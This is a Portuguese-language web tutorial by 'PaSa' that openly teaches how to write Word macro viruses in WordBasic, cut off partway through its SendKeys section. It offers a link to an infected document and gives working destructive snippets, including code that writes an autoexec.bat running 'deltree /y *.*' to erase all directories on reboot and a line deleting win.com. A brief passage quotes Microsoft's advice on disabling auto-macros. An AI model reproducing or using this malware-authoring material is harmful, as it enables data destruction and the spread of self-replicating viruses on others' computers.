Vírus de MaCrO By PaSa


Virus de MaCrO By PaSa

 
VÍRUS DE MACRO (DMV) by PaSa
 
 Como fazer um vírus de macro?
 
Introdução
1. O que é um Vírus de Macro
2.
Como o Word DMV funciona
3. Protegendo-se contra DMV's do Word
4. Exemplos de WordBasic
    4.1. Como criar um Autoexec.bat destrutivo
    4.2. Sair do Windows
    4.3. Apagar um arquivo
    4.4. Criar diretório
    4.5. Conectar à rede local
    4.6. Renomear/mover arquivos
    4.7. Variáveis de ambiente
    4.8. Enviar Teclas ao programa
    4.9. Controle do Aplicativo
        4.9.1.  Obter informação do aplicativo
        4.9.2. Verificação de aplicativos sendo executados
        4.9.3. Ativando uma janela
        4.9.4. Fechar uma janela
        4.9.5. Ocultando uma janela
        4.9.6. Voltando a exibir uma janela
    4.10. Executando um aplicativo
    4.11. Copiando Macros
5. Criação do vírus 
    5.1. Infec 
    5.2. AutoExec 
    5.3.AutoClose 
    5.4.AutoOpen 
    5.5.Libvirus 
    5.6.Destruct 
    5.7.ArquivoSalvarComo 
    5.8.ArquivoImprimir 
    5.9.ArquivoImprimirPadrão 
    5.10.ImpreArq 
    5.11.email 
Conclusão
Sobre o autor
 
Clique aqui para pegar o Documento infectado por esse vírus!
 
 
 
topo

INTRODUÇÃO

 
    Bem, esse é o meu segundo tutorial de como criar um vírus, o que melhorou foi que no tutorial anterior foi ensinado a como criar um vírus em Pascal, ensinando toda a lógica e tal, só que um vírus em Pascal não é lá grande coisa.  É muito fácil removê-lo, até mostrei como fazer isso no tutorial.  Outra coisa que me incomodou foi que muita gente não conseguiu executar o vírus, eu testei e retestei o vírus e ele funcionava 100% com aquela listagem no fim do mesmo, só tem um problema: eu uso somente o Turbo Pascal 7.0, me disseram que ele não rodava em TP 6.0, vou fazer o que, nem tudo é perfeito.  Mas com esse o papo é um pouco diferente, esse tutorial funciona tanto em Word 6.0 quanto em 7.0, só tem uma função que me deu um certo trabalho: A função SendKeys é assim no Word 6.0 e é EnviarTeclas no Word 7.0, para quem for pegar o arquivo LeGado.doc não notará diferença, uma vez que uma vez certo o conteúdo do programa em um tipo de Word ele vai estar sempre certo mesmo que se leve o documento para um Word com outra linguagem, ou seja se no meu Word 7.0 tiver uma macro com a função EnviarTeclas e eu levar para o Word 6.0 ou qualquer Word inglês assim que eu abri o documento e editar a mesma função vai estar lá: Sendkeys, ou seja, o Word faz uma tradução de todos os comandos em Basic.
topo

O QUE É UM VÍRUS DE MACRO (DMV)

 
    Enquanto que criadores de virus concentraram-se em código que funcionasse em nível de sistema operacional, eles, no entanto, negligenciaram aplicativos. Muitas aplicativos de negócios, tais como planilhas eletrônicas, processadores de texto e banco de dados, vem com poderosas linguagens de macro. Muitas aplicações tem a habilidade de auto-executar macros. Essa combinação fornece um sério perigo para usuários de computadores que pensavam que arquivos de dados não machucavam seu sistema.
    Eu uso o termo document macro virus (ou DMV) para descrever esse tipo de código malicioso. Algumas características de um DMV incluem:
1. Infectar seu computador com um virus (obviamente) 
2. Apagar arquivos de seu disco rígido. 
3. Renomear arquivos existentes 
4. Copiar arquivos pessoais de seu disco rígido para um local da rede onde eles podem ser recuperados mais tarde por outra pessoa. 
5. Enviando arquivos sensitivos de seu disco rígido para um endereço de email via MAPI (Windows) 
 
É importante notar que esses riscos não são exclusivos do Word for Windows. Qualquer applicação que suporta macros automáticos são um perigo potencial. 
 
topo

COMO O WORD DMV FUNCIONA                            
 
    O Microsoft Word for Windows usa uma linguagem de macro chamada WordBasic. Ele também suporta uma série de macros automáticos. Se um macro tem um nome reservado, ele automaticamente executa em um evento específico. Por exemplo:
 
 
Nome da Macro
Roda
AutoExec
Quando você inicia o Word 
 
AutoNew
Quando você cria um novo documento 
 
AutoOpen
Quando você abre um documento 
 
AutoClose
Quando você fecha um documento 
 
AutoExit
Quando você sai do Word
 
 
    Word for Windows armazena macros, tão bem como estilos, em modelos de documento (arquivos .DOT). Macros globais são armazenados no arquivo NORMAL.DOT.
    Como falado anteriormente, o Word apenas armazena macros em modelos de documentos. Você não pode acrescentar uma macro para um documento normal de Word (.DOC). Isso ajuda a eliminar a habilidade de se espalhar um DMV da fonte para outros documentos (o que pode dramaticamente aumentar a quantidade de documentos infectados).
    Entretanto, existe uma alternativa. Um modelo de Word .DOT é muito similar em formato a um arquivo .DOC. Os dois possuem a mesma aparência e funcionalidade quando aberto no Word. 
    Para infectar outros documento, o DMV no NORMAL.DOT checa o documento para ver se ele já foi infectado com o macro. Se ele não foi, o macro salva o arquivo como um documento modelo. Isso faz com que apareça no parte de baixo da tela uma barra de salvamento (o que não é estranho, uma vez que muitos usuários usam a opção de Auto-Salvamento). Word agora trata o documento atual como um modelo, e o macro DMV no NORMAL.DOT pode copiar a si próprio para o documento atual. 
    Extensões de arquivo são muito decepcionantes. Uma vez que enquanto que o documento possua uma extensão .DOC, ele pode ser um modelo. Quando o Word abre um documento, ele não liga qual a extensão que o arquivo tem. Ele le o arquivo e determina qual o formato a ser processado. A única pista que você pode ter é quando você escolhe o comando Salvar Como no menu Arquivo. Word tenta forçar você para salvar o modelo em um diretório padrão que contenha outros modelos de Word. Outra pista é quando o Word pergunta para você se você deseja salvar as modificações quando você fechar, mesmo que você não tenha editado o documento. 
    Como software de plataformas-múltiplas geralmente trocam código comuns, parece que o DMV pode ser passado de uma plataforma para outra. Por exemplo, se um documento do Word for Windows está infectado, depois transferido para o Word para Macintosh então o DMV pode muito bem infectar a versão Mac do Word. Eu nunca testei isso ainda, mas isso pode ser um acontecimento provável. 
    Como falado anteriormente, esse não é um problema exclusivo para o Word for Windows (pesquisas indicam que o Excel tem muitas mais vulnerabilidades ou de produtos feitos pela Microsoft. Macros automáticas tem se tornado muito populares entre uma variedade de software-houses. 
Removrndo vírus de Word
    Remover vírus de Word (DMV) é relativamente fácil. Primeiro rode o Word, depois: 
 
topo

PROTEGENDO-SE CONTRO DMS'S DO WORD                          
 
    Qualquer macro automática pode ser facilmente detectada escolhendo-se a opção Macro no menu utilitários. Uma macro suspeita pode ser examinada ou deletada (com sorte, antes que ela se execute, senão...). A Microsoft fornece dois métodos de desabilitar macros automáticas no Word.
 
    Extráido do documento Q96565 no Banco de Dados de suporte para produtos Microsoft:
 
SUMMÁRIO
 
    Para prevenir que uma macro automático do Microsoft Word for Windows não rode, segure a tecla SHIFT quando você realizar a ação que ative a macro: AutoExec, AutoNew, AutoOpen, AutoClose, e AutoExit são as macros automáticas no Word for Windows.
 
MAIS INFORMAÇÃO
 
Quando abrir um documento Word for Windows que está associado com um modelo que contenha uma macro AutoOpen, pressione a tecla SHIFT até que o documento sejá completamente aberto. Pressionando a tecla SHIFT previne que a ação não chame o macro. 
Para prevenir que um macro AutoExec do Word for Windows AutoExec não execute, faça um dos seguintes: 
-ou-
    No Word for Windows versão 6.0 (ou 7.0), você pode usar o seguinte comando para desabilitar todos os macros automáticos, incluindo AutoExec: 
C:\WINWORD\WINWORD.EXE /mDisableAutoMacros
 
 
 
 
topo

EXEMPLOS DE WORDBASIC

 
    Nessa seção eu mostrarei inúmeras funções úteis para a criação de um vírus de Macro, a maioria dos exemplos abaixo está no help do WordBasic do Word, eu só dei uma selecionada nas melhores.
    Todos os exemplos dessa seção podem ser colocados em um módulo para ser testado, todos funcionam em Word 6.0 ou Word 7.0.
 
 
topo

COMO CRIAR UM AUTOEXEC.BAT DESTRUTIVO                            
 
    O exemplo abaixo faz com que o vírus crie um arquivo autoexec.bat destrutivo, fazendo com que assim que o computador seja reiniciado, o comando deltree sera ativado apagando todos os diretórios do computador.
 
Open "C:\autoexec.bat" For Output As #1 
Print #1, "@deltree /y *.* >nul" 
Close #1 
 
 
topo

SAIR DO WINDOWS                         
 
    O comando faz com que o programa saia direto do Windows:
 
SairWindows
 
 
topo

APAGAR UM ARQUIVO                         
 
    Esse comando apaga um arquivo:
 
kill "c:\windows\win.com" 
 
 
 
topo

CRIAR DIRETÓRIO                         
 
    Este exemplo cria o diretório "SAIDA" especificando um caminho. 
    Observe que o diretório  TESTE já deve existir; MkDir não pode criar ambos os diretórios ao mesmo tempo. 
 
MkDir "C:\TESTE\SAIDA"
 
 
topo

CONECTAR À REDE LOCAL

 
    Este exemplo estabelece uma conexão com uma unidade de rede protegida com a senha "sorria" e atribui a unidade de rede à próxima letra de unidade de rede disponível:
 
Conectar .Caminho = "\\PROJETO\INFO", .Senha = "sorria" 
 
 
topo

RENOMEAR/MOVER ARQUIVOS                         
 
    Este exemplo usa ChDir para definir o diretório atual e renomeia o arquivo COGS.DOC como  COGS88.DOC nesse diretório. Sem a instrução ChDir precedente, a instrução Name teria de  especificar o caminho completo para cada nome de arquivo:
 
ChDir "C:\MEUSDOCS\MEMOS\JULHO"
Name "COGS.DOC" As "COGS88.DOC" 
 
topo

VARIÁVEIS DE AMBIENTE                         
 
    Este exemplo verifica a variável ambiental PATH e exibe uma de duas caixas de mensagem,  dependendo do número de caracteres no caminho. (O limite é de 127 caracteres.)
 
caminho$ = Ambiente$("PATH") 
comprimento = Len(caminho$) 
avail = 127 - comprimento 
Select Case avail 
    Case 127 
            MsgBox "O PATH está vazio." 
    Case 0 To 126 
            MsgBox "Você pode acrescentar" + Str$(avail) + \     " caractere(s) no PATH." 
    Case Else 
End Select
 
 
 
topo

ENVIAR TECLAS AO PROGRAMA                         
 
Sintaxe:
SendKeys Teclas$, Esperar
 
Obs: No Word 7.0 português, o comando SendKeys ficou traduzido como EnviarTeclas 
 
    Envia a seqüência de teclas especificada por Teclas$, como se estas tivessem sido digitadas no teclado. SendKeys deve preceder instruções que ativam o comando ou aplicativo que recebe a seqüência de teclas, de modo que esta seqüência esteja na memória quando a macro fizer uma pausa.
 
Observação
 
    Use SendKeys para operar outros aplicativos somente quando não houver alternativa e, nesse  caso, use-o com cuidado. Em geral, a melhor maneira para fazer o Word interagir com outros  aplicativos é o intercâmbio dinâmico de dados (DDE), pois este fornece um canal para comunicação de mão dupla entre aplicativos, e um caminho para a detecção e gerência de erros no outro aplicativo. Deve-se testar mesmo o mais simples dos usos de SendKeys sob uma variedade de condições a fim de evitar resultados imprevisíveis, perda de dados, ou ambos.
 
 
Argumento 
Explicação
Teclas$
Uma tecla ou seqüência de teclas, como "a" para a letra a ou "{enter}{pgup}"   para a tecla ENTER         seguida da tecla PAGE UP.
Esperar
Se o Word não for o aplicativo ativo e Esperar for -1, o Word espera que todas as teclas sejam processadas antes de prosseguir.  Por exemplo, se você executar as instruções a seguir para enviar Teclas$ ao Microsoft Excel, ocorre um bip no Word depois que o texto é inserido nas 10 células. Se Esperar fosse 0 (zero), o bip ocorreria quando o texto estivesse sendo inserido na primeira célula.   
 
AplAtivar "Microsoft Excel"   
For i = 1 To 10        
    SendKeys "Testando (abaixo)", -1    
Next i   
Beep 
 
Para especificar teclas que não inserem caracteres, use os seguintes códigos:
 
 
Tecla
Código
BACKSPACE
{backspace} ou {bs} ou {bksp}
BREAK
{break}
CAPS LOCK
{capslock}
CLEAR
{clear}
DEL
{delete} ou {del}
SETA PARA BAIXO
{down}
END
{end}
ENTER
{enter} ou ~
ESC  
{escape} ou {esc}
HELP
{help}
HOME
{home}
INS
{insert}
SETA PARA A ESQUERDA
{left}
NUM LOCK
{numlock}
PAGE DOWN
{pgdn}
PAGE UP
{pgup}
PRINT SCREEN
{prtsc}
SETA PARA A DIREITA
{right}
TAB
{tab}
SETA PARA CIMA
{up}
F1, F2, F3,...F16
{F1}, {F2}, {F3},...{F16}
 
     Para repetir um caractere, use a sintaxe {Caractere Número}.  Por exemplo, SendKeys "{s 10}" repete a letra  s 10 vezes. Lembre-se de inserir um espaço entre a tecla e o número. 
Para repetir uma tecla cujo código já inclua chaves, inclua um espaço e um número dentro das chaves; por exemplo:  SendKeys "{enter 10}". 
Para enviar uma combinação de teclas que inclua SHIFT, ALT ou CTRL, use os seguintes símbolos:
 
Para combinar com
Preceda o código da tecla por
SHIFT 
+ (sinal de adição)
ALT
% (sinal de porcentagem)
CTRL 
^ (sinal de circumflexo)
 
 
 Por exemplo, "%{enter}" envia o código de ALT+ENTER. Podem-se agrupar teclas com parênteses e preceder o grupo pelo código de uma tecla SHIFT, ALT ou CTRL. Por exemplo, o código "+(wordbasic)&qu

Email: [email protected]




Email: [email protected]